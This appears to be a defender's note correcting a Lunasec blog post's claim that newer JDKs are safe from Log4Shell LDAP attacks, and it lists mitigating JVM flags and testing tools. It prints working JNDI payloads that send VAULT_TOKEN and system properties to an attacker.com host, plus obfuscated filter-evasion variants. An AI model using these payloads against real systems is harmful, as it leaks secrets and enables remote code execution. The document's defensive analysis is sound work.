This is simply wrong in the Lunasec Log4Shell blog post
JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector.
The LDAP attack vector exists. There are several forms of LDAP attack vectors:
- leakage of system properties and environment properties with LDAP calls
- possible DoS attacks with LDAP calls
- LDAP deserialization attacks resulting to RCE
Examples:
${jndi:ldap://${env:VAULT_TOKEN}.tokens.attacker.com/a}
${jndi:ldap://${sys:java.vm.version}.tokens.attacker.com/a}
Notice, there are several evasion techniques, some examples:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
${${lower:-j}${lower:-n}${lower:-d}${lower:-i}:${lower:-l}${lower:-d}${lower:-a}${lower:-p}://attacker.com/a}
-
Listing system properties of an active Java process
- Use
jinfo -sysprops <pid>
to list system properties
- Use
-
Listing environment variables
- On Linux, you can list environment variables available in a process with
cat /proc/<pid>/environ | xargs -0 -n 1 echo
- On Linux, you can list environment variables available in a process with
For docker / k8s containers without a shell or when jinfo doesn't exist, you can use https://github.com/apangin/jattach with the properties
command. jattach could be run on the docker host / k8s node. The cat /proc/<pid>/environ | xargs -0 -n 1 echo
solution works also on the docker host / k8s node. The pid is the host pid in that case.
This is one of the points of the blog post PSA: Log4Shell and the current state of JNDI injection , it contains references to other sources with more details (f.e. Exploiting JNDI injections in JDK 1.8.0_191+).
LDAP deserialization attacks are possible even on latest Java versions. Deserialization is enabled by default. It can be disabled on most recent Java versions. For example with system properties
"-Djdk.serialFilter=!*" "-Djdk.jndi.object.factoriesFilter=!*" "-Dcom.sun.jndi.ldap.object.trustSerialData=false"
could be used to disable remote object deserialization when using LDAP over JNDI. These settings could break applications depending on the serialization being enabled and using JNDI. The javadocs in JDK17 contain more information:
- jdk.jndi.object.factoriesFilter and com.sun.jndi.ldap.object.trustSerialData in java.naming module summary
- syntax for filters described in ObjectInputFilter.Config#createFilter
There's also Java Serialization Filtering documentation and JEPS-290 . The controls are featured at least in:
- https://github.com/lhotari/log4shell-mitigation-tester for testing mitigations & exploits
- Rogue JNDI https://github.com/veracode-research/rogue-jndi for testing JNDI RCE exploits and related information
- JNDI-Exploit-Kit https://github.com/pimps/JNDI-Exploit-Kit for testing JNDI RCE exploits and related information
- GovCERT.Ch diagram about Log4Shell